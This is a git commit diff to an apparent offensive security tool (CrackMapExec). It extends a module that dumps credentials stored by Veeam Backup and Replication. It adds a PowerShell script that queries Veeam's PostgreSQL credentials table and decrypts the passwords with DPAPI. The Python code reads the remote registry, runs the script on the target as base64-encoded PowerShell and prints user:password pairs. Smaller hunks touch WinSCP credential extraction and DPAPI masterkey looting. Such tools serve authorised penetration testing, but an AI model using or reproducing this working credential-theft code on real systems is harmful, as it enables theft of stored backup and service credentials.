Merge branch 'master' into protocol_db_marshall

This commit is contained in:
Marshall Hallenbeck
2023-06-10 22:16:05 -04:00
5 changed files with 138 additions and 51 deletions
@@ -3,7 +3,7 @@ $SqlServerName = "REPLACE_ME_SqlServer"
$SqlInstanceName = "REPLACE_ME_SqlInstance"
#Forming the connection string
$SQL = "SELECT [user_name] AS 'User name',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$auth = "Integrated Security=SSPI;" #Local user
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
@@ -0,0 +1,22 @@
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
if ($output.count -eq 0) {
Write-Host "No passwords found!"
exit
}
Add-Type -assembly System.Security
#Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$enc = [system.text.encoding]::Default
$_.password = $enc.GetString($ClearPWD)
}
Write-Output $output | Format-Table -HideTableHeaders | Out-String
+95 -32
View File
@@ -13,8 +13,7 @@ from cme.helpers.powershell import get_ps_script
class CMEModule:
"""
Module by @NeffIsBack
Module by @NeffIsBack, @Marshall-Hallenbeck
"""
name = "veeam"
@@ -24,8 +23,10 @@ class CMEModule:
multiple_hosts = True
def __init__(self):
with open(get_ps_script("veeam_dump_module/veeam-creds_dump.ps1"), "r") as psFile:
self.psScript = psFile.read()
with open(get_ps_script("veeam_dump_module/veeam_dump_mssql.ps1"), "r") as psFile:
self.psScriptMssql = psFile.read()
with open(get_ps_script("veeam_dump_module/veeam_dump_postgresql.ps1"), "r") as psFile:
self.psScriptPostgresql = psFile.read()
def options(self, context, module_options):
"""
@@ -35,10 +36,17 @@ class CMEModule:
def checkVeeamInstalled(self, context, connection):
context.log.display("Looking for Veeam installation...")
# MsSql
SqlDatabase = ""
SqlInstance = ""
SqlServer = ""
# PostgreSql
PostgreSqlExec = ""
PostgresUserForWindowsAuth = ""
SqlDatabaseName = ""
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
@@ -46,37 +54,96 @@ class CMEModule:
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"SOFTWARE\\Veeam\\Veeam Backup and Replication",
)
keyHandle = ans["phkResult"]
# Veeam v12 check
try:
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations",)
keyHandle = ans["phkResult"]
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]
database_config = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlActiveConfiguration")[1].split("\x00")[:-1][0]
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.fail("No Veeam installation found")
except:
context.log.fail("UNEXPECTED ERROR:")
traceback.print_exc()
context.log.success("Veeam v12 installation found!")
if database_config == "PostgreSql":
# Find the PostgreSql installation path containing "psql.exe"
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\PostgreSQL Global Development Group\\PostgreSQL",)
keyHandle = ans["phkResult"]
PostgreSqlExec = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "Location")[1].split("\x00")[:-1][0] + "\\bin\\psql.exe"
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations\\PostgreSQL",)
keyHandle = ans["phkResult"]
PostgresUserForWindowsAuth = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "PostgresUserForWindowsAuth")[1].split("\x00")[:-1][0]
SqlDatabaseName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
elif database_config == "MsSql":
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations\\MsSql",)
keyHandle = ans["phkResult"]
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug("No Veeam v12 installation found")
except Exception as e:
context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc())
# Veeam v11 check
try:
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication",)
keyHandle = ans["phkResult"]
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]
context.log.success("Veeam v11 installation found!")
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug("No Veeam v11 installation found")
except Exception as e:
context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc())
except NotImplementedError as e:
pass
except Exception as e:
context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc())
finally:
remoteOps.finish()
return [SqlDatabase, SqlInstance, SqlServer]
try:
remoteOps.finish()
except Exception as e:
context.log.debug(f"Error shutting down remote registry service: {e}")
# Check if we found an SQL Server of some kind
if SqlDatabase and SqlInstance and SqlServer:
context.log.success(f'Found Veeam DB "{SqlDatabase}" on SQL Server "{SqlServer}\\{SqlInstance}"! Extracting stored credentials...')
credentials = self.executePsMssql(context, connection, SqlDatabase, SqlInstance, SqlServer)
self.printCreds(context, credentials)
elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName:
context.log.success(f'Found Veeam DB "{SqlDatabaseName}" on an PostgreSQL Instance! Extracting stored credentials...')
credentials = self.executePsPostgreSql(context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName)
self.printCreds(context, credentials)
def stripXmlOutput(self, context, output):
return output.split("CLIXML")[1].split("<Objs Version")[0]
def executePsMssql(self, context, connection, SqlDatabase, SqlInstance, SqlServer):
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlDatabase", SqlDatabase)
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlInstance", SqlInstance)
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlServer", SqlServer)
psScipt_b64 = b64encode(self.psScriptMssql.encode("UTF-16LE")).decode("utf-8")
def extractCreds(self, context, connection, SqlDatabase, SqlInstance, SqlServer):
self.psScript = self.psScript.replace("REPLACE_ME_SqlDatabase", SqlDatabase)
self.psScript = self.psScript.replace("REPLACE_ME_SqlInstance", SqlInstance)
self.psScript = self.psScript.replace("REPLACE_ME_SqlServer", SqlServer)
psScipt_b64 = b64encode(self.psScript.encode("UTF-16LE")).decode("utf-8")
return connection.execute("powershell.exe -e {} -OutputFormat Text".format(psScipt_b64), True)
output = connection.execute("powershell.exe -e {} -OutputFormat Text".format(psScipt_b64), True)
def executePsPostgreSql(self, context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName):
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgreSqlExec", PostgreSqlExec)
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgresUserForWindowsAuth", PostgresUserForWindowsAuth)
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_SqlDatabaseName", SqlDatabaseName)
psScipt_b64 = b64encode(self.psScriptPostgresql.encode("UTF-16LE")).decode("utf-8")
return connection.execute("powershell.exe -e {} -OutputFormat Text".format(psScipt_b64), True)
def printCreds(self, context, output):
# Format ouput if returned in some XML Format
if "CLIXML" in output:
output = self.stripXmlOutput(context, output)
@@ -94,8 +161,4 @@ class CMEModule:
context.log.highlight(user + ":" + password)
def on_admin_login(self, context, connection):
SqlDatabase, SqlInstance, SqlServer = self.checkVeeamInstalled(context, connection)
if SqlDatabase and SqlInstance and SqlServer:
context.log.success('Found Veeam DB "{}" on SQL Server "{}\\{}"! Extracting stored credentials...'.format(SqlDatabase, SqlServer, SqlInstance))
self.extractCreds(context, connection, SqlDatabase, SqlInstance, SqlServer)
self.checkVeeamInstalled(context, connection)
+19 -17
View File
@@ -161,8 +161,9 @@ class CMEModule:
decPassword = "NO_PASSWORD_FOUND"
sectionName = unquote(sessionName)
return [sectionName, hostName, userName, decPassword]
except:
traceback.print_exc()
except Exception as e:
context.log.fail(f"Error in Session Extraction: {e}")
context.log.debug(traceback.format_exc())
finally:
remoteOps.finish()
return "ERROR IN SESSION EXTRACTION"
@@ -197,9 +198,9 @@ class CMEModule:
userNames.remove(".DEFAULT")
regex = re.compile(r"^.*_Classes$")
userObjects = [i for i in userNames if not regex.match(i)]
except:
context.log.fail("Error handling Users in registry")
traceback.print_exc()
except Exception as e:
context.log.fail(f"Error handling Users in registry: {e}")
context.log.debug(traceback.format_exc())
finally:
remoteOps.finish()
return userObjects
@@ -232,9 +233,9 @@ class CMEModule:
for i in range(users):
userObjects.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0])
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
except:
context.log.fail("Error handling Users in registry")
traceback.print_exc()
except Exception as e:
context.log.fail(f"Error handling Users in registry: {e}")
context.log.debug(traceback.format_exc())
finally:
remoteOps.finish()
return userObjects
@@ -299,8 +300,9 @@ class CMEModule:
context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
try:
rrp.hBaseRegUnLoadKey(remoteOps._RemoteOperations__rrp, keyHandle, userObject)
except:
traceback.print_exc()
except Exception as e:
context.log.fail(f"Error unloading user {userObject} in registry: {e}")
context.log.debug(traceback.format_exc())
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
finally:
remoteOps.finish()
@@ -376,17 +378,17 @@ class CMEModule:
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug("No WinSCP config found in registry for user {}".format(userObject))
except Exception:
context.log.fail("Unexpected error:")
traceback.print_exc()
except Exception as e:
context.log.fail(f"Unexpected error: {e}")
context.log.debug(traceback.format_exc())
self.unloadMissingUsers(context, connection, unloadedUserObjects)
except DCERPCException as e:
# Error during registry query
if str(e).find("rpc_s_access_denied"):
context.log.fail("Error: rpc_s_access_denied. Seems like you don't have enough privileges to read the registry.")
except:
context.log.fail("UNEXPECTED ERROR:")
traceback.print_exc()
except Exception as e:
context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc())
finally:
remoteOps.finish()
@@ -425,7 +427,7 @@ class CMEModule:
self.decodeConfigFile(context, confFile)
except:
context.log.fail("Error! No config file found at {}".format(self.filepath))
traceback.print_exc()
context.log.debug(traceback.format_exc())
else:
context.log.display("Looking for WinSCP creds in User documents and AppData...")
output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True)
+1 -1
View File
@@ -1534,7 +1534,7 @@ class smb(connection):
self.logger.debug(f"Could not get masterkeys: {e}")
if len(masterkeys) == 0:
logging.fail("No masterkeys looted")
self.logger.fail("No masterkeys looted")
return
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...")